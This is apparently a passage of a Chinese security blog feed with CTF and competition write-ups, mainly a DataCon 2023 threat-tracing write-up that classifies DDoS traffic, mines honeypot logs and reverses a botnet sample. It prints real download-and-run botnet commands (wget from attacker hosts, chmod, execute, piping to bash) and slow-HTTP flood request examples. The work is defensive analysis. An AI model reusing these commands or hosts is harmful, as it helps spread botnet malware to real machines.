title="IDA对so库逆向"></a>IDA对so库逆向</h3><p>ida的话就是纯看代码环节了,说几个小技巧吧。</p><p>首先就是尽量不要从导出表中反过来找函数,因为有一部分导出表对应的函数是fastcall类型,只观察函数内部有时ida无法将参数识别出来,导致后来再去找函数的调用处时代码都是乱的。</p><p>ida有一键生成frida的插件,<a href="https://github.com/P4nda0s/IDAFrida">P4nda0s/IDAFrida: IDA Frida Plugin for tracing something interesting. (github.com)</a>和<a href="https://github.com/AnxiangLemon/MyIdaFrida">AnxiangLemon/MyIdaFrida: Generate Frida Script (github.com)</a>,可以直接从ida中生成frida的hook脚本,比较方便(虽然我没用过几次)</p><h2 id="后记"><a href="#后记" class="headerlink" title="后记"></a>后记</h2><p>关于漏洞细节就不发出来了。历时2个多月的零基础从入门到入土,确实学到了不少东西,也踩了一大堆坑,有的坑也卡的比较久,在此感谢w学长给我一步步梳理思路。</p>]]></content>
<categories>
<category>技术</category>
</categories>
<tags>
<tag>wireshark</tag>
<tag>apk逆向</tag>
<tag>frida</tag>
<tag>mitmproxy</tag>
<tag>jeb</tag>
<tag>jadx</tag>
</tags>
</entry>
<entry>
<title>2023 DataCon大数据安全分析竞赛 WriteUp</title>
<link href="/2023/11/16/2023datacon/"/>
<url>/2023/11/16/2023datacon/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="互联网威胁溯源"><a href="#互联网威胁溯源" class="headerlink" title="互联网威胁溯源"></a>互联网威胁溯源</h2><h3 id="题目一:形形色色的DDoS"><a href="#题目一:形形色色的DDoS" class="headerlink" title="题目一:形形色色的DDoS"></a>题目一:形形色色的DDoS</h3><h4 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h4><p>根据题目描述,攻击者采用了多种DDoS攻击方法,找出这些攻击流量,并将攻击类型相同的源IP进行归类。</p><p>分析题目提供的流量包,wireshark打开。</p><p>观察到多种ddos流量。</p><h5 id="SYN-Flood-Attack"><a href="#SYN-Flood-Attack" class="headerlink" title="SYN Flood Attack"></a>SYN Flood Attack</h5><p>流量特征:仅有一个tcp包。</p><img src="/2023/11/16/2023datacon/syn.png" class=""><h5 id="UDP-Flood-Attack"><a href="#UDP-Flood-Attack" class="headerlink" title="UDP Flood Attack"></a>UDP Flood Attack</h5><p>流量特征:协议为UDP,内容杂乱。</p><img src="/2023/11/16/2023datacon/udp.png" class=""><h5 id="NTP-Reply-Flood-Attack"><a href="#NTP-Reply-Flood-Attack" class="headerlink" title="NTP Reply Flood Attack"></a>NTP Reply Flood Attack</h5><p>流量特征:协议为NTP</p><img src="/2023/11/16/2023datacon/ntp.png" class=""><h5 id="CC-Attack"><a href="#CC-Attack" class="headerlink" title="CC Attack"></a>CC Attack</h5><p>流量特征:具有完整的TCP流量包。</p><p>此次ddos中CC攻击有两种形式:</p><h6 id="第一种(示例)"><a href="#第一种(示例)" class="headerlink" title="第一种(示例)"></a>第一种(示例)</h6><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/</span> <span class="hljs-meta">HTTP/1.1</span><br><span class="hljs-attribute">Connection</span><span class="hljs-punctuation">: </span>keep-alive<br><span class="hljs-attribute">X-a</span><span class="hljs-punctuation">: </span>datacon2023-1278<br><span class="hljs-attribute">X-a</span><span class="hljs-punctuation">: </span>datacon2023-591<br><span class="hljs-attribute">X-a</span><span class="hljs-punctuation">: </span>datacon2023-452<br><span class="hljs-attribute">X-a</span><span class="hljs-punctuation">: </span>datacon2023-815<br></code></pre></td></tr></table></figure><img src="/2023/11/16/2023datacon/cc1.png" class=""><h6 id="第二种(示例)"><a href="#第二种(示例)" class="headerlink" title="第二种(示例)"></a>第二种(示例)</h6><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/</span> <span class="hljs-meta">HTTP/1.1</span><br><span class="hljs-attribute">Connection</span><span class="hljs-punctuation">: </span>keep-alive<br><span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>1000<br><br><span class="language-apache"><span class="hljs-attribute">X</span>-a: datacon2023-<span class="hljs-number">256</span></span><br><span class="language-apache"><span class="hljs-attribute">X</span>-a: datacon2023-<span class="hljs-number">968</span></span><br><span class="language-apache"><span class="hljs-attribute">X</span>-a: datacon2023-<span class="hljs-number">236</span></span><br><span class="language-apache"><span class="hljs-attribute">X</span>-a: datacon2023-<span class="hljs-number">808</span></span><br></code></pre></td></tr></table></figure><img src="/2023/11/16/2023datacon/cc2.png" class=""><blockquote><p>更新于2023/12/10</p><p>wp终于出了,原来这两个分别是<strong>慢速http header泛洪攻击</strong>和<strong>慢速http payload泛洪攻击</strong>,区别是:第一种会定期向目标发送部分请求标头,以使请求保持活动状态;第二种会发送一个值很大的Content-Length字段,之后慢慢发送少量字节的数据包,主机就会认为该请求包存在payload没有发完,因此会维持连接。</p></blockquote><h4 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h4><p>设置过滤器,编写脚本:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> pyshark<br><br>tshark=<span class="hljs-string">r"C:\sec\Wireshark\tshark.exe"</span> <span class="hljs-comment"># 本地tshark路径</span><br>pcap=<span class="hljs-string">'../pcap.pcapng'</span> <span class="hljs-comment"># 本地pcap位置</span><br><br><span class="hljs-comment"># 读取pcap文件并分类</span><br>udp_cap = pyshark.FileCapture(pcap, display_filter=<span class="hljs-string">'udp'</span>,tshark_path=tshark)<br>ntp_cap = pyshark.FileCapture(pcap, display_filter=<span class="hljs-string">'ntp'</span>,tshark_path=tshark)<br>tls_cap = pyshark.FileCapture(pcap, display_filter=<span class="hljs-string">'tls'</span>,tshark_path=tshark)<br>cc2_cap= pyshark.FileCapture(pcap, display_filter=<span class="hljs-string">'tcp.flags.syn==1 && tcp.options'</span>, tshark_path=tshark)<br>syn_cap= pyshark.FileCapture(pcap, display_filter=<span class="hljs-string">'tcp.flags.syn==1'</span>, tshark_path=tshark)<br><br><span class="hljs-comment"># 观察到最后时间段除了一个ip以外都是cc1末流量包</span><br>cc1_cap=pyshark.FileCapture(pcap, display_filter=<span class="hljs-string">'frame.time_relative>=100.053'</span>, tshark_path=tshark)<br>get_except=(<span class="hljs-string">"92.126.115.64"</span>)<br><br>target=(<span class="hljs-string">'93.224.28.177'</span>) <span class="hljs-comment"># 被ddos机ip</span><br><br><span class="hljs-comment"># 用于存储IP地址的集合</span><br>udp_list = <span class="hljs-built_in">set</span>()<br>ntp_list = <span class="hljs-built_in">set</span>()<br>tls_list=<span class="hljs-built_in">set</span>()<br>cc2_list=<span class="hljs-built_in">set</span>()<br>syn_list=<span class="hljs-built_in">set</span>()<br>cc1_list=<span class="hljs-built_in">set</span>()<br><br><span class="hljs-keyword">for</span> packet <span class="hljs-keyword">in</span> cc1_cap:<br> <span class="hljs-keyword">try</span>:<br> source_ip = packet.ip.src<br> <span class="hljs-keyword">if</span> source_ip <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> target <span class="hljs-keyword">and</span> source_ip <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> get_except:<br> cc1_list.add(source_ip)<br> <span class="hljs-keyword">except</span> AttributeError:<br> <span class="hljs-keyword">pass</span><br><br><span class="hljs-keyword">for</span> packet <span class="hljs-keyword">in</span> cc2_cap:<br> <span class="hljs-keyword">try</span>:<br> source_ip = packet.ip.src<br> <span class="hljs-keyword">if</span> source_ip <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> target <span class="hljs-keyword">and</span> source_ip <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> cc1_list:<br> cc2_list.add(source_ip)<br> <span class="hljs-keyword">except</span> AttributeError:<br> <span class="hljs-keyword">pass</span><br><br><span class="hljs-keyword">for</span> packet <span class="hljs-keyword">in</span> syn_cap:<br> <span class="hljs-keyword">try</span>:<br> source_ip = packet.ip.src<br> <span class="hljs-keyword">if</span> source_ip <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> target <span class="hljs-keyword">and</span> source_ip <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> cc2_list <span class="hljs-keyword">and</span> source_ip <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> cc1_list:<br> syn_list.add(source_ip)<br> <span class="hljs-keyword">except</span> AttributeError:<br> <span class="hljs-keyword">pass</span><br><br><span class="hljs-keyword">for</span> packet <span class="hljs-keyword">in</span> tls_cap:<br> <span class="hljs-keyword">try</span>:<br> source_ip = packet.ip.src<br> <span class="hljs-keyword">if</span> source_ip <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> target:<br> tls_list.add(source_ip)<br> <span class="hljs-keyword">except</span> AttributeError:<br> <span class="hljs-keyword">pass</span><br><br><span class="hljs-keyword">for</span> packet <span class="hljs-keyword">in</span> ntp_cap:<br> <span class="hljs-keyword">try</span>:<br> source_ip = packet.ip.src<br> <span class="hljs-keyword">if</span> source_ip <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> target:<br> ntp_list.add(source_ip)<br> <span class="hljs-keyword">except</span> AttributeError:<br> <span class="hljs-keyword">pass</span><br><br><span class="hljs-keyword">for</span> packet <span class="hljs-keyword">in</span> udp_cap:<br> <span class="hljs-keyword">try</span>:<br> source_ip = packet.ip.src<br> <span class="hljs-keyword">if</span> source_ip <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> ntp_list <span class="hljs-keyword">and</span> source_ip <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> target:<br> udp_list.add(source_ip)<br> <span class="hljs-keyword">except</span> AttributeError:<br> <span class="hljs-keyword">pass</span><br><br><br><span class="hljs-comment"># 将IP地址导出到txt文件</span><br><span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(<span class="hljs-string">'q1_answer.txt'</span>, <span class="hljs-string">'w'</span>) <span class="hljs-keyword">as</span> f:<br> f.write(<span class="hljs-string">','</span>.join(udp_list))<br> f.write(<span class="hljs-string">'\n'</span>)<br> f.write(<span class="hljs-string">','</span>.join(ntp_list))<br> f.write(<span class="hljs-string">'\n'</span>)<br> f.write(<span class="hljs-string">','</span>.join(cc2_list))<br> f.write(<span class="hljs-string">'\n'</span>)<br> f.write(<span class="hljs-string">','</span>.join(syn_list))<br> f.write(<span class="hljs-string">'\n'</span>)<br> f.write(<span class="hljs-string">','</span>.join(cc1_list))<br></code></pre></td></tr></table></figure><h3 id="题目二:威胁情报的关联分析"><a href="#题目二:威胁情报的关联分析" class="headerlink" title="题目二:威胁情报的关联分析"></a>题目二:威胁情报的关联分析</h3><h4 id="分析-1"><a href="#分析-1" class="headerlink" title="分析"></a>分析</h4><p><strong>题目描述</strong>:选手点击下载该题提供的文件,本文件是部分公网蜜罐日志。已知本次的DDoS攻击由僵尸网络团伙发起,该团伙传播了两种恶意样本文件。在本次攻击中,该团伙利用CVE-2019-7238漏洞组建僵尸网络。请找到这两种恶意样本文件,并给出每种恶意样本文件的MD5以及每种恶意样本文件在蜜罐日志的传播源IP和下载站IP(作答时只需给出IP即可,无需具体指定每个IP是传播源还是下载站)。</p><p>下载提供的honeylog.json,观察发现,大部分传输恶意样本文件的流量均使用了wget协议来下载恶意样本,因此可以将带有wget的字符串过滤出来。</p><p>根据题目描述的CVE-2019-7238,其漏洞利用路径为<code>/service/extdirect</code>,可以通过这个路径找到一个恶意样本。</p><h4 id="解答-1"><a href="#解答-1" class="headerlink" title="解答"></a>解答</h4><p>编写提取wget字符串的脚本,脚本提取方式为识别<code>wget </code>、<code>wget+</code>或<code>wget%</code>为前缀,<code>;</code>或<code>)</code>为后缀的字符串。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><code class="hljs python">wget_lines = <span class="hljs-built_in">set</span>()<br><span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(<span class="hljs-string">'honeylog.json'</span>, <span class="hljs-string">'r'</span>) <span class="hljs-keyword">as</span> file:<br> <span class="hljs-keyword">for</span> line <span class="hljs-keyword">in</span> file:<br> line = line.strip()<br> <span class="hljs-keyword">if</span> <span class="hljs-string">'wget '</span> <span class="hljs-keyword">in</span> line <span class="hljs-keyword">or</span> <span class="hljs-string">'wget%'</span> <span class="hljs-keyword">in</span> line <span class="hljs-keyword">or</span> <span class="hljs-string">'wget+'</span> <span class="hljs-keyword">in</span> line:<br> begin_index=line.find(<span class="hljs-string">'wget'</span>)<br> ll=[<span class="hljs-built_in">len</span>(line)]<br> <span class="hljs-keyword">if</span> line.find(<span class="hljs-string">';'</span>)!=-<span class="hljs-number">1</span>:<br> ll.append(line.find(<span class="hljs-string">';'</span>))<br> <span class="hljs-keyword">if</span> line.find(<span class="hljs-string">')'</span>)!=-<span class="hljs-number">1</span>:<br> ll.append(line.find(<span class="hljs-string">')'</span>))<br> end_index = <span class="hljs-built_in">min</span>(ll)<br> wget_lines.add(line[begin_index:end_index])<br><br><span class="hljs-comment"># 将满足条件的行写入2.txt</span><br><span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(<span class="hljs-string">'2.txt'</span>, <span class="hljs-string">'w'</span>) <span class="hljs-keyword">as</span> file:<br> file.write(<span class="hljs-string">'\n'</span>.join(wget_lines))<br></code></pre></td></tr></table></figure><p>运行脚本后,得到:</p><figure class="highlight gradle"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs gradle">wget http:<span class="hljs-comment">//miori.lol/miori.arm7 && chmod 777 miori.arm7 && ./miori.arm7 selfrep.vigor && rm -rf miori.arm7</span><br>wget -g <span class="hljs-number">103.178</span>.<span class="hljs-number">232.12</span> -l <span class="hljs-regexp">/tmp/</span>.oxy -r /mips<br>wget -g <span class="hljs-number">107.173</span>.<span class="hljs-number">231.76</span> -l <span class="hljs-regexp">/tmp/</span>.oxy -r /mips<br>wget http:<span class="hljs-comment">//112.192.5.28:8888/koba -O /tmp/koba && cd /tmp && chmod +x koba && ./koba &"}}</span><br>wget -g <span class="hljs-number">143.198</span>.<span class="hljs-number">91.91</span> -l <span class="hljs-regexp">/tmp/</span>.oxy -r /mips<br>wget -g <span class="hljs-number">193.233</span>.<span class="hljs-number">193.12</span> -l <span class="hljs-regexp">/tmp/</span>.oxy -r <span class="hljs-regexp">/yeye/y</span>eye.mips<br>wget -g <span class="hljs-number">103.183</span>.<span class="hljs-number">118.160</span> -l <span class="hljs-regexp">/tmp/</span>.oxy -r /mips<br>wget http:<span class="hljs-comment">//download.asyncfox.xyz/download/dupa2.sh -O- | bash</span><br>wget -g <span class="hljs-number">109.98</span>.<span class="hljs-number">208.52</span> -l <span class="hljs-regexp">/tmp/</span>.oxy -r /mips<br>wget http:<span class="hljs-comment">//46.29.166.61/arm7 && chmod 777 arm7 && ./arm7 selfrep.vigor && rm -rf arm7</span><br>wget http:<span class="hljs-comment">//74.209.210.114:8888/caesar -O /tmp/caesar && cd /tmp && chmod +x caesar && ./caesar &</span><br>wget http:<span class="hljs-comment">//149.129.92.9:8888/caesar -O /tmp/caesar && cd /tmp && chmod +x caesar && ./caesar &</span><br>wget -g <span class="hljs-number">64.227</span>.<span class="hljs-number">121.58</span> -l <span class="hljs-regexp">/tmp/</span>.oxy -r /mips<br>wget http:<span class="hljs-comment">//45.95.146.26/miori.arm7 && chmod 777 miori.arm7 && ./miori.arm7 selfrep.vigor && rm -rf miori.arm7</span><br></code></pre></td></tr></table></figure><p>其中caesar,koba在大网环境中可以成功下载,使用md5sum计算样本md5值,编写脚本:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> json<br>caesar_set = <span class="hljs-built_in">set</span>()<br>caesar_set.add(<span class="hljs-string">'74.209.210.114'</span>)<br>caesar_set.add(<span class="hljs-string">'149.129.92.9'</span>)<br><br>koba_set=<span class="hljs-built_in">set</span>()<br>koba_set.add(<span class="hljs-string">'112.192.5.28'</span>)<br><br><span class="hljs-comment"># 读取文件</span><br><span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(<span class="hljs-string">'honeylog.json'</span>, <span class="hljs-string">'r'</span>) <span class="hljs-keyword">as</span> file:<br> <span class="hljs-comment"># 逐行读取</span><br> <span class="hljs-keyword">for</span> line <span class="hljs-keyword">in</span> file:<br> <span class="hljs-keyword">if</span> <span class="hljs-string">'caesar'</span> <span class="hljs-keyword">in</span> line:<br> <span class="hljs-keyword">try</span>:<br> data = json.loads(line)<br> src_ip = data.get(<span class="hljs-string">'src_ip'</span>)<br> <span class="hljs-keyword">if</span> src_ip:<br> caesar_set.add(src_ip)<br> <span class="hljs-keyword">except</span>:<br> <span class="hljs-keyword">pass</span><br> <span class="hljs-keyword">if</span> <span class="hljs-string">'koba'</span> <span class="hljs-keyword">in</span> line:<br> <span class="hljs-keyword">try</span>:<br> data = json.loads(line)<br> src_ip = data.get(<span class="hljs-string">'src_ip'</span>)<br> <span class="hljs-keyword">if</span> src_ip:<br> koba_set.add(src_ip)<br> <span class="hljs-keyword">except</span>:<br> <span class="hljs-keyword">pass</span><br> <br><span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(<span class="hljs-string">'md5_file.txt'</span>,<span class="hljs-string">'w'</span>) <span class="hljs-keyword">as</span> f:<br> f.write(<span class="hljs-string">'82f485f6d3dbad747ef307158fc7ea48:'</span>)<br> f.write(<span class="hljs-string">','</span>.join(caesar_set))<br> f.write(<span class="hljs-string">'\n'</span>)<br> f.write(<span class="hljs-string">'e4d87fc7fd025213a86b0db38b147375:'</span>)<br> f.write(<span class="hljs-string">','</span>.join(koba_set))<br></code></pre></td></tr></table></figure><p>得到答案:</p><figure class="highlight dns"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs dns"><span class="hljs-number">82</span>f485f6d3dbad747ef307158fc7ea<span class="hljs-number">48:149.129.92</span>.<span class="hljs-number">9,74.209.210</span>.<span class="hljs-number">114,194.216.26</span>.<span class="hljs-number">179</span><br>e4d87fc7fd025213a86b0db<span class="hljs-number">38b147375:112</span>.<span class="hljs-number">192.5.28,195</span>.<span class="hljs-number">220.160.50</span><br></code></pre></td></tr></table></figure><h3 id="题目四:消失的窃密流量"><a href="#题目四:消失的窃密流量" class="headerlink" title="题目四:消失的窃密流量"></a>题目四:消失的窃密流量</h3><h4 id="分析-2"><a href="#分析-2" class="headerlink" title="分析"></a>分析</h4><p><strong>题目描述</strong>:找到窃密流量最终流向的服务器IP,并根据目前掌握的线索给出**此次攻击事件中(DDoS+窃密)**明确被控的主机IP;请给出原始被窃取文件的MD5。</p><p>我们队伍只找到了部分DDoS的被控ip。</p><h4 id="解答-2"><a href="#解答-2" class="headerlink" title="解答"></a>解答</h4><p>使用ida反编译caesar文件,进入main函数</p><img src="/2023/11/16/2023datacon/main.png" class=""><p>进入函数sub_33F9中,发现其调用了多次sub_3A91函数</p><img src="/2023/11/16/2023datacon/33F9.png" class=""><p>进入sub_3A91函数发现是将函数地址写入一个ptr变量。</p><img src="/2023/11/16/2023datacon/3A91.png" class=""><p>查找ptr的调用者,观察到sub_387A函数</p><img src="/2023/11/16/2023datacon/ptr.png" class=""><p>经过分析,该函数是将每个存入的函数地址都进行调用</p><img src="/2023/11/16/2023datacon/387A.png" class=""><p>回到sub_33F9函数中,发现可疑函数sub_5841和sub_6249,进入后发现其均为ddos中发起cc攻击的函数</p><p>sub_5841:</p><img src="/2023/11/16/2023datacon/cc1code.png" class=""><p>sub_6249:</p><img src="/2023/11/16/2023datacon/cc2code.png" class=""><p>因此,将第一题中的cc攻击ip导入进来即可,编写脚本:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs python">url_set=<span class="hljs-built_in">set</span>()<br><br>q1=<span class="hljs-built_in">open</span>(<span class="hljs-string">'q1_answer.txt'</span>,<span class="hljs-string">'r'</span>)<br>q1.readline()<br>q1.readline()<br><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> q1.readline().strip().split(<span class="hljs-string">','</span>):<br> url_set.add(i)<br>q1.readline()<br><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> q1.readline().strip().split(<span class="hljs-string">','</span>):<br> url_set.add(i) <br>q1.close()<br><br>q3=<span class="hljs-string">'153.97.92.169'</span><br><span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(<span class="hljs-string">'q4_answer.txt'</span>,<span class="hljs-string">'w'</span>) <span class="hljs-keyword">as</span> f:<br> f.write(q3)<br> f.write(<span class="hljs-string">'\n'</span>)<br> f.write(<span class="hljs-string">','</span>.join(url_set))<br> f.write(<span class="hljs-string">'\n'</span>)<br></code></pre></td></tr></table></figure><p>得到25%的分数。</p><h2 id="邮件安全"><a href="#邮件安全" class="headerlink" title="邮件安全"></a>邮件安全</h2><h3 id="题目二:新型邮件炸弹攻击"><a href="#题目二:新型邮件炸弹攻击" class="headerlink" title="题目二:新型邮件炸弹攻击"></a>题目二:新型邮件炸弹攻击</h3><p>编写脚本,提取前10000权重的网址。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs python">mails=[]<br><span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(<span class="hljs-string">'top_mail.csv'</span>,<span class="hljs-string">'r'</span>) <span class="hljs-keyword">as</span> file:<br> <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> file:<br> a=i.split(<span class="hljs-string">','</span>)<br> <span class="hljs-keyword">if</span> <span class="hljs-built_in">int</span>(a[<span class="hljs-number">0</span>])><span class="hljs-number">10000</span>:<br> <span class="hljs-keyword">break</span><br> <span class="hljs-keyword">else</span>:<br> mails.append(a[<span class="hljs-number">1</span>])<br><span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(<span class="hljs-string">'top_10000_mails.txt'</span>,<span class="hljs-string">'w'</span>) <span class="hljs-keyword">as</span> f:<br> f.write(<span class="hljs-string">''</span>.join(mails))<br></code></pre></td></tr></table></figure><p>从上到下,依次测试发送邮件。</p><p>使用已注册邮箱,如qq.com、gmail.com等发送邮件。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>最开始以为比赛会很难,但是感觉难度还可以?</p><p>可惜的是互联网威胁溯源到后面逆向的时候就开始乏力了,做不出来题,感觉该逆的都逆了,该脱壳也手脱了,检查点也一次没少,但就是找不到答案的IP地址,等赛后看看别人的wp吧。</p><p>邮件安全那道题单纯的打着玩,发了两个小时的邮件。</p><p>贴一部分的比赛题目:</p><a href="/2023/11/16/2023datacon/%E4%BA%92%E8%81%94%E7%BD%91%E5%A8%81%E8%83%81%E6%BA%AF%E6%BA%90.zip" title="互联网威胁溯源.zip">互联网威胁溯源.zip</a><br><a href="/2023/11/16/2023datacon/top_mail.csv" title="top_mail.csv">top_mail.csv</a><blockquote><p>更新于2023/12/10</p><p>官方wp已出,仔细看了一下,发现其实自己没分析出来的东西还有很多,其中找ip地址的时候我也尝试过向169.196.166.199: 16996发包,官方wp是用python发送的,我是直接用nc -u发的包,但是没收到返回的信息,导致我以为它的环境已经关了,于是没了头绪。</p><p>当时以为自己都看的差不多,但现在想了一下,其实我做出来的可能也就一半左右,原因大体上可能是对C2僵尸网络的原理处于不了解的状态,甚至我觉得是对一个领域的整体架构没有构建起来。</p><p>最后把官方wp贴上吧:<a href="https://mp.weixin.qq.com/s/r9_UgXoAXkkGJwGKdPyiRQ">DataCon2023互联网威胁溯源赛道,冠军战队WP分享 (qq.com)</a></p></blockquote>]]></content>
<categories>
<category>WriteUp</category>
</categories>
<tags>
<tag>reverse</tag>
<tag>wireshark</tag>
</tags>
</entry>
<entry>
<title>NewStarCTF 2023-WEEK4 Web WriteUp</title>
<link href="/2023/11/05/2023newstarctfWeek4/"/>
<url>/2023/11/05/2023newstarctfWeek4/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>解题 4/7</p><h2 id="逃"><a href="#逃" class="headerlink" title="逃"></a>逃</h2><p>打开容器,看到源码</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br><span class="hljs-title function_ invoke__">highlight_file</span>(<span class="hljs-keyword">__FILE__</span>);<br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">waf</span>(<span class="hljs-params"><span class="hljs-variable">$str</span></span>)</span>{<br> <span class="hljs-keyword">return</span> <span class="hljs-title function_ invoke__">str_replace</span>(<span class="hljs-string">"bad"</span>,<span class="hljs-string">"good"</span>,<span class="hljs-variable">$str</span>);<br>}<br><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span 